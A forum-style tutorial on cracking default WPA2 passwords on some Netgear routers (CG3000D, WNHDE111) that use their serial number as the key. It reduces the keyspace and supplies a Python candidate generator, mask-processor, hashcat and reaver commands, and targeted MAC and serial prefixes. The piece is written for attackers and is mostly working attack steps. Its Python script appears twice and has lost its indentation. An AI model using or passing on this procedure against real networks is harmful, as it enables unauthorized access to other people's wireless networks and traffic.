#################################################################################
################## How to Crack 13-character WPA2 passwords on Netgear routers ###################
#################################################################################
First of all, what this will not cover is the already well known security scheme that Netgear has been using for default WPA2 passphrases on their routers and modems.
That format was:
adjective + noun + 1 digit
adjective + noun + 3 digits
An app that produces these combinations can be found here:
https://github.com/wpatoolkit/Adj-Noun-W...-Generator
That app is unnecessary, however, since there are already files that exist that are in the "adjective + noun + 3 digits" format.
The files in question were originally distributed on the Xiaopan forums at:
http://xiaopan.co/forums/threads/netgear...list.6571/
You will need to create an account there in order to obtain those dictionaries.
There are 5 of them:
adjective.txt - all the verified adjectives
noun.txt - all the verified nouns
adjective_noun.txt - combinations of the adjectives + nouns
adjective_noun_1digit.txt - combinations of the adjectives + nouns + 1 digit
adjective_noun_3digit.txt - combinations of the adjectives + nouns + 3 digits
With that out of the way, we will cover the method used to find a 13-character password from a Netgear modem/router and outline the attack.
HOW TO CRACK 13-DIGIT DEFAULT WPA2 PASSWORDS ON NETGEAR ROUTERS
This guide will address a security scheme that some Netgear routers use. Some Netgear wireless routers use their 13-digit serial number as their default WPA2 key.
Wireless Netgear routers that are known to have used this are listed below, at the end of this post. It may be applicable to other devices that Netgear has made, but those are unknown at the time of this writing (November 2017).
In order to understand why this default WPA2 scheme is not secure, we must first look at the Netgear serial number format.
The 13 digits of the default WPA2 code is as follows:
PPPDYMSCXXXXX
PPP - Prefix code; base32 number
D - Dash level; base32 number
Y - Year code; use least significant number of year. Example: 2002=2, 2014=4, 2015=5
M - Month code; 1-9,A-C;Jan=1, Feb=2, Mar=3, Apr=4, May=5, Jun=6, Jul=7, Aug=8, Sep=9, Oct=10, Nov=11, Dec=12
S - Supplier Code; base32 number
C - Check character; base32 number
XXXXX - Sequential field; a 5 character, base16 field (hexadecimal) (00000-FFFFF)
When calculating the check character, the following base32 table is used to convert a remainder into either a numerical or letter value (the formula used to do this is further below).
The base32 table for the check character consists of the following:
1=1
2=2
3=3
4=4
5=5
6=6
7=7
8=8
9=9
A=10
B=11
C=12
D=13
E=14
F=15
G=16
H=17
J=18
K=19
L=20
M=21
N=22
P=23
R=24
S=25
T=26
U=27
V=28
W=29
X=30
Y=31
This example of the formula used to calculate the check character comes straight from Netgear documentation.
<-- Beginning of example from documentation -->
"Multiply every digit in the SN by a weighting number, which is equal to it’s position in the SN string starting with 12. Sum the products modulo 32.
A1(12)+a2(11)+a3(10)+a4(9)+a5(8)…..+a12(1) mod 32 = CheckCharacter
Below is an example. Serial number = 9AE2222BFE2A
(9*12)+(10*11)+(14*10)+(2*9)+(2*8)+(2*7)+(2*6)+(11*5)+(15*4)+(14*3)+(2*2)+ (10*1) = 589
(589) Mod 32 = 13
Letter “D” = 13, so the check character is “D”.
The complete SN = 9AE2222DBFE2A"
<-- End of example from documentation -->
At a glance, a 13-digit WPA2 passphrase appears to be unbreakable by current technology. This is normally true, even with the power of a GPU cluster. At the time of this writing, the most current and common GPU technology on the market are Pascal-based Nvidia GTX 10 series video cards, primarily the GTX 1080 Founders Edition and its overclocked counterparts. Even with several of these working on a WPA2 handshake, conventional brute-forcing is not practical or even possible within the lifetime of any human.
Unfortunately for owners of these Netgear routers, and fortunately for an attacker, a full brute-force attack is not necessary.
If every digit of the serial number was using the full base32 table, as outlined above, then cracking one of these passphrases would take at least several tens of thousands of years.
32 characters with 13 positions gives us:
32^13=36893488147419103232
Assuming 400,000 WPA2 passphrases per second (the capability of one overclocked GTX 1080 Founders Edition) and 36893488147419103232 combinations, it would take close to 3 million years to try all of the combinations of the passphrase.
36893488147419103232/400000/60/60/24/365=2924712.087
This assumes that all of the positions require every base32 value to be attempted in a brute-force attack. As it turns out, this doesn't need to occur.
EXPANDED EXPLANATION OF SERIAL NUMBER FORMAT
The format of the serial number is PPPDYMSCXXXXX (see above).
Prefix (PPP)
The first 3 characters are a set prefix code which will be a base32 field. As stated in Netgear documentation, "The prefix is a 3 character, base32 field and unique for each FA base part number... The prefix is unchanged when the part dash number is incremented. Prefixes are assigned sequentially starting with '100.'"
Dash Level (D)
"A one character base32 field." Note that this base32 table is different than the one that the check character uses. It is as follows:
1=1
2=2
3=3
4=4
5=5
6=6
7=7
8=8
9=9
A=10
B=11
C=12
D=13
E=14
F=15
G=16
H=17
J=18
K=19
L=20
M=21
N=22
P=23
R=24
S=25
T=26
Notice that only 26 values from the base32 table are used for this position in the serial number/passphrase. U, V, W, X, and Y are not used here.
So far, with the first 4 digits of the serial number (PPPD), these will be a fixed value depending on the device in use. This eliminates what has to be brute-forced from 13 to 9 digits. Most devices from Netgear only have a few selected Prefixes and Dash Levels. If you need to know which Prefix and Dash Level a particular model is using, this information can usually be acquired from Ebay listings. There are almost always photos of these devices with their serial numbers visible.
Year Code (Y)
The value for the year code will usually be 1 through 4. This value indicates year of manufacture. For 2011, this will be 1. For 2012, this will be 2. This always represent the least significant value of whatever year it was made in. Since all 10 values (0-9) won't need to be tested if the device was made recently, this will further reduce the keyspace. All 10 values, 0-9, can be used if desired.
Month Code(M)
The value for the month code will be one of twelve values. It will be 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, or C.
Supplier Code (S)
The value for the supplier code will be one of the values from the full base32 table. Netgear uses an active and an inactive supplier table for its modems/routers and it is best to include all possible base32 values for this character.
Check Character (C)
The check character will only be one possible base32 value based on what the other 12 digits of the serial number are. Because it can only be one value, it can be calculated with the formula that was previously cited from Netgear's own documentation.
Sequential Field (XXXXX)
"A 5 character, base16 field (standard hexadecimal) which is assigned sequentially. The starting number is “00000” and continuing to “FFFFF” for a total count of 1,048,576." In other words, the last 5 digits of the serial number can be any hex value of 0-9,A-F.
The actual number of combinations for this 13-digit passphrase breaks down as follows:
A fixed 4 digit prefix (PPPD) = 1
Year code (for this example it will be 1-4) = 4
Month code can be up to twelve values = 12
Supplier code = 32
Check character = 1
Sequential field = 1048576
1x4x12x32x1x1048576=1610612736
1610612736/400000/60/60=1.12
The resulting product (possible combinations for the passphrase) is 1610612736.
For just over 1.6 billion combinations, assuming 400,000 WPA2 passphrases per second, this will take 1.12 hours
There are two main challenges that will be faced in correctly guessing the passphrase. The first is accurately guessing the first 4 digits. The former can be accurately guessed if the model number of the device is known. It is a simple matter to browse Ebay listings for the "PPPD" prefix portion of the passphrase. The second challenge, and desired performance optimization, is the calculation of the check character.
The next section will discuss a method on how to produce accurate serial numbers/passphrases for any Netgear device with an accurate calculation of the necessary check character.
CALCULATING THE CHECK DIGIT
In order to calculate the check digit, we must first know what twelve characters need to be calculated.
Things that you will need:
1. some basic knowledge of Linux command line functions.
2. pypy runtime for the python that will be executed (package installation will be necessary in Linux).
3. mask processor, a utility that is used with hashcat (mp64.bin in Linux).
4. python code to do the check character calculation (this is provided for you).
5. hashcat (Linux version, hashcat64.bin).
6. A captured handshake to a Netgear wireless modem/router (obtaining this is beyond the scope of this guide).
7. the ability to browse Ebay listings for serial numbers for particular models of Netgear modems/routers.
For this example, we will use a prefix that is common to the CG3000D, a Netgear modem/router that was made mostly from 2011 to 2013. A common prefix and dash level that it used is 2CG1. A version 2 (V2) was made in 2014 so we will include the 4 to the year character in addition to 1-3.
First we need to generate the twelve characters minus the check character. mp64.bin will achieve this by using multiple character sets for the initial twelve characters.
./mp64.bin -1 1234 -2 123456789ABC -3 123456789ABCDEFGHJKLMNPRSTUVWXY -4 1234567890ABCDEF 2CG1?1?2?3?4?4?4?4?4
4 character sets are used in the above example. For character set 1, digits 1-4 are used. For character set 2, all of the possible month codes are used. For character set 3, the full base32 table is used and accounts for the one-character Supplier code. Finally, for character set 4, the last 5 digits will only be a value in hex, 0-9, A-F. The output that is produced will be twelve digits. Netgear didn't add the check character to their devices until April 2005 (according to their documentation) so this output is not adequate for devices that were made after that time.
The following python code will be used to calculate the check character as mp64.bin produces output. It has been written for use in a Linux environment.
#################### netgear_check_digit_calculator.py ####################
#!/usr/bin/env pypy
import sys
# Function returns dictionary of character translations
def getCharIndex():
dictCharIndex = {}
dictCharIndex['0'] = (0)
dictCharIndex['1'] = (1)
dictCharIndex['2'] = (2)
dictCharIndex['3'] = (3)
dictCharIndex['4'] = (4)
dictCharIndex['5'] = (5)
dictCharIndex['6'] = (6)
dictCharIndex['7'] = (7)
dictCharIndex['8'] = (8)
dictCharIndex['9'] = (9)
dictCharIndex['A'] = (10)
dictCharIndex['B'] = (11)
dictCharIndex['C'] = (12)
dictCharIndex['D'] = (13)
dictCharIndex['E'] = (14)
dictCharIndex['F'] = (15)
dictCharIndex['G'] = (16)
dictCharIndex['H'] = (17)
dictCharIndex['J'] = (18)
dictCharIndex['K'] = (19)
dictCharIndex['L'] = (20)
dictCharIndex['M'] = (21)
dictCharIndex['N'] = (22)
dictCharIndex['P'] = (23)
dictCharIndex['R'] = (24)
dictCharIndex['S'] = (25)
dictCharIndex['T'] = (26)
dictCharIndex['U'] = (27)
dictCharIndex['V'] = (28)
dictCharIndex['W'] = (29)
dictCharIndex['X'] = (30)
dictCharIndex['Y'] = (31)
return dictCharIndex
def getIndexToChar():
dictIndexToChar = {}
dictIndexToChar[(0)] = '0'
dictIndexToChar[(1)] = '1'
dictIndexToChar[(2)] = '2'
dictIndexToChar[(3)] = '3'
dictIndexToChar[(4)] = '4'
dictIndexToChar[(5)] = '5'
dictIndexToChar[(6)] = '6'
dictIndexToChar[(7)] = '7'
dictIndexToChar[(8)] = '8'
dictIndexToChar[(9)] = '9'
dictIndexToChar[(10)] = 'A'
dictIndexToChar[(11)] = 'B'
dictIndexToChar[(12)] = 'C'
dictIndexToChar[(13)] = 'D'
dictIndexToChar[(14)] = 'E'
dictIndexToChar[(15)] = 'F'
dictIndexToChar[(16)] = 'G'
dictIndexToChar[(17)] = 'H'
dictIndexToChar[(18)] = 'J'
dictIndexToChar[(19)] = 'K'
dictIndexToChar[(20)] = 'L'
dictIndexToChar[(21)] = 'M'
dictIndexToChar[(22)] = 'N'
dictIndexToChar[(23)] = 'P'
dictIndexToChar[(24)] = 'R'
dictIndexToChar[(25)] = 'S'
dictIndexToChar[(26)] = 'T'
dictIndexToChar[(27)] = 'U'
dictIndexToChar[(28)] = 'V'
dictIndexToChar[(29)] = 'W'
dictIndexToChar[(30)] = 'X'
dictIndexToChar[(31)] = 'Y'
return dictIndexToChar
# Retrieve character translation index
dictCharIndexToUse = getCharIndex()
# Retrieve index to character translation (for the end)
dictIndexToCharToUse = getIndexToChar()
twelvedigit = open(sys.argv[1]) if len(sys.argv) > 1 else sys.stdin
for line in twelvedigit:
# Form tuple from each line
charList = tuple(line)
# Index from primary string - created as iteration proceeds of line value
iIndex = 12
# Running total that will determine which number to divide by 32
iCCNum = 0
for charVal in charList:
if iIndex > 0:
numMult = dictCharIndexToUse.get(charVal)
numCalc = iIndex * numMult
iCCNum += numCalc
iIndex -= 1
# Calculate iCCNum to retrieve Check Character
iCheckChar = (iCCNum) % 32
# Retrieval of the Check Character following calculation
charCheckCharacter = dictIndexToCharToUse.get(iCheckChar)
# Print to console the Check Character
print(line[0:7] + charCheckCharacter + line[7:12])
#################### netgear_check_digit_calculator.py ####################
Code:
#################### netgear_check_digit_calculator.py ####################
#!/usr/bin/env pypy
import sys
# Function returns dictionary of character translations
def getCharIndex():
dictCharIndex = {}
dictCharIndex['0'] = (0)
dictCharIndex['1'] = (1)
dictCharIndex['2'] = (2)
dictCharIndex['3'] = (3)
dictCharIndex['4'] = (4)
dictCharIndex['5'] = (5)
dictCharIndex['6'] = (6)
dictCharIndex['7'] = (7)
dictCharIndex['8'] = (8)
dictCharIndex['9'] = (9)
dictCharIndex['A'] = (10)
dictCharIndex['B'] = (11)
dictCharIndex['C'] = (12)
dictCharIndex['D'] = (13)
dictCharIndex['E'] = (14)
dictCharIndex['F'] = (15)
dictCharIndex['G'] = (16)
dictCharIndex['H'] = (17)
dictCharIndex['J'] = (18)
dictCharIndex['K'] = (19)
dictCharIndex['L'] = (20)
dictCharIndex['M'] = (21)
dictCharIndex['N'] = (22)
dictCharIndex['P'] = (23)
dictCharIndex['R'] = (24)
dictCharIndex['S'] = (25)
dictCharIndex['T'] = (26)
dictCharIndex['U'] = (27)
dictCharIndex['V'] = (28)
dictCharIndex['W'] = (29)
dictCharIndex['X'] = (30)
dictCharIndex['Y'] = (31)
return dictCharIndex
def getIndexToChar():
dictIndexToChar = {}
dictIndexToChar[(0)] = '0'
dictIndexToChar[(1)] = '1'
dictIndexToChar[(2)] = '2'
dictIndexToChar[(3)] = '3'
dictIndexToChar[(4)] = '4'
dictIndexToChar[(5)] = '5'
dictIndexToChar[(6)] = '6'
dictIndexToChar[(7)] = '7'
dictIndexToChar[(8)] = '8'
dictIndexToChar[(9)] = '9'
dictIndexToChar[(10)] = 'A'
dictIndexToChar[(11)] = 'B'
dictIndexToChar[(12)] = 'C'
dictIndexToChar[(13)] = 'D'
dictIndexToChar[(14)] = 'E'
dictIndexToChar[(15)] = 'F'
dictIndexToChar[(16)] = 'G'
dictIndexToChar[(17)] = 'H'
dictIndexToChar[(18)] = 'J'
dictIndexToChar[(19)] = 'K'
dictIndexToChar[(20)] = 'L'
dictIndexToChar[(21)] = 'M'
dictIndexToChar[(22)] = 'N'
dictIndexToChar[(23)] = 'P'
dictIndexToChar[(24)] = 'R'
dictIndexToChar[(25)] = 'S'
dictIndexToChar[(26)] = 'T'
dictIndexToChar[(27)] = 'U'
dictIndexToChar[(28)] = 'V'
dictIndexToChar[(29)] = 'W'
dictIndexToChar[(30)] = 'X'
dictIndexToChar[(31)] = 'Y'
return dictIndexToChar
# Retrieve character translation index
dictCharIndexToUse = getCharIndex()
# Retrieve index to character translation (for the end)
dictIndexToCharToUse = getIndexToChar()
twelvedigit = open(sys.argv[1]) if len(sys.argv) > 1 else sys.stdin
for line in twelvedigit:
# Form tuple from each line
charList = tuple(line)
# Index from primary string - created as iteration proceeds of line value
iIndex = 12
# Running total that will determine which number to divide by 32
iCCNum = 0
for charVal in charList:
if iIndex > 0:
numMult = dictCharIndexToUse.get(charVal)
numCalc = iIndex * numMult
iCCNum += numCalc
iIndex -= 1
# Calculate iCCNum to retrieve Check Character
iCheckChar = (iCCNum) % 32
# Retrieval of the Check Character following calculation
charCheckCharacter = dictIndexToCharToUse.get(iCheckChar)
# Print to console the Check Character
print(line[0:7] + charCheckCharacter + line[7:12])
#################### netgear_check_digit_calculator.py ####################
The above python code can be saved to file with a .py extension. For this example, it will be called netgear_check_digit_calculator.py
Execute the command(s) below in order to get the correct output.
./mp64.bin -1 1234 -2 123456789ABC -3 123456789ABCDEFGHJKLMNPRSTUVWXY -4 1234567890ABCDEF 2CG1?1?2?3?4?4?4?4?4 | python netgear_check_digit_calculator.py
The above command will only print the output to stdout (your screen). For the best performance with hashcat, redirect the output to a file. While the calculation of the check digit is functional, it doesn't have the best performance even though it uses the pypy executable. If you use hashcat in stdin mode, you might be able to achieve close to 300,000 lines per second, but this speed won't fully utilize a modern GPU.
In order to save the produced output to a file, execute a command like this:
./mp64.bin -1 1234 -2 123456789ABC -3 123456789ABCDEFGHJKLMNPRSTUVWXY -4 1234567890ABCDEF 2CG1?1?2?3?4?4?4?4?4 | python netgear_check_digit_calculator.py > 2CG1_NETGEAR_13_DIGITS_WITH_CHECK_CHARACTER.txt
It will take about 90 minutes to produce the above file and it will be 21 gigabytes in size.
If the possibilities for the year of manufacture for a particular device can be reduced, then this will further reduce the amount of time that it takes to produce this data. If the above example only used years 2011-2013 (digits 1-3) for the year position, then the resulting file will be close to 16 gigabytes and will take close to 67 minutes to produce. When using only 3 digits for the year, the time to find a correct passphrase would be about an hour or less, assuming 400,000 passphrases per second are tried. If you know the year and only specify one digit for the year value, the resulting file will be 5.1 gigabytes and will take close to 23 minutes to produce.
These benchmarks were tested on a machine with a 3.6 Ghz processor. If you have a CPU clock that is faster than 3.6 Ghz, then it will take less time. For now, this is a single threaded operation and the python code has only been optimized by using pypy.
After you have your output file, it can be used with hashcat to attempt to crack the password.
Example syntax:
./hashcat64.bin -m 2500 2CG1_EXAMPLE_SSID.hccap 2CG1_NETGEAR_13_DIGITS_WITH_CHECK_CHARACTER.txt
HOW TO OBTAIN THE MODEL NUMBER OF A NETGEAR DEVICE
At this time, there is no known public index of MAC addresses to model numbers for Netgear devices. Fortunately, this isn't needed in most cases to identify what model is in use by a broadcasting (Wi-fi) access point. Most Netgear routers will have WPS on by default and the model number will be sent in WPS broadcasts.
While attacks against WPS have been heavily mitigated in recent years due to firmware updates, WPS is still an insecure protocol for the purposes of obtaining the model number of a target Netgear device (or any other vendor for that matter). Reaver can still be used to obtain the model number of the device if WPS is enabled.
Execute this command (or something similar):
reaver -i wlan0mon -b 00:11:22:33:44:66
The output that you should look for will display the information next to "WPS Manufacturer" and "WPS Model Number". "WPS Manufacturer" should say, "Netgear" and the "WPS Model Number" should reveal the device's model number.
If you don't want to obtain this information from a Linux environment using reaver (The-Distribution-Which-Does-Not-Handle-OpenCL-Well (Kali), for example), then you can also obtain a utility in Windows called Jumpstart. Jumpstart will show the model number of any device that is broadcasting it through WPS.
EPILOGUE
The vast majority of Netgear modems/routers use the WPA2 password scheme that is mentioned at the beginning of this guide (adjective + noun + 3 digits). The number of Netgear routers that use the serial number for their passphrase are small, but they do exist and are sometimes issued by ISPs. There is also the chance that end users have decided to use their device's serial number as their passphrase since they might believe that the seemingly long and random 13-digit passphrase appears to be secure. This how-to guide aims to put that notion to rest.
It is also worth mentioning that some Netgear devices use their model number followed by six hexadecimal characters. One example would be the CG3000DV2. The keyspace would be from CG3000DV2000000 to CG3000DV2FFFFFF.
INDEX OF KNOWN NETGEAR ROUTERS THAT USE THIS PASSWORD SCHEME
Index of Netgear routers that use their 13-digit serial number as a default WPA2 password.
List of Netgear routers that are known to use this:
CG3000D (mostly deployed from 2011 to 2014)
WNHDE111
Known mac address (first 6 digits) and serial number prefixes (first 3 or 4 digits) for identified devices:
CG3000D:
MAC:
008EF2
SERIAL:
2CG1
2DV2
2DV3
2B1
2E2
7W19
3HW1 (CG3000Dv2; made in 2013 and 2014)
3H21
3PH1
Note: for 2B1 and 2E2, the Dash Level can be different, which is why those only have 3 digits instead of 4.
Note: This is usually used with Time Warner, Cox, and Mediacom (in the United States).
WNHDE111:
MAC:
001E2A
00223F
SERIAL:
1TX1
1TX2
CONCLUSION:
The serial number format for Netgear devices was leaked by Netgear themselves back in 2015. They had an internet facing server that had a document that contained this information. This isn't much of a zero day so I have decided to release it. Almost no Netgear devices are using their serial number as a default WPA2 password, but there are a few out there, usually issued by ISPs that probably don't know any better. If the usual method of accessing a Netgear wireless router doesn't work, this method may be worth checking.
R.I.P. Netgear serial number format.
P.S. Give the AT&T devices a break. There are plenty of other vendors and ISPs that deserve your attention. Also, perhaps someone can rewrite the python code in C. The performance could be better.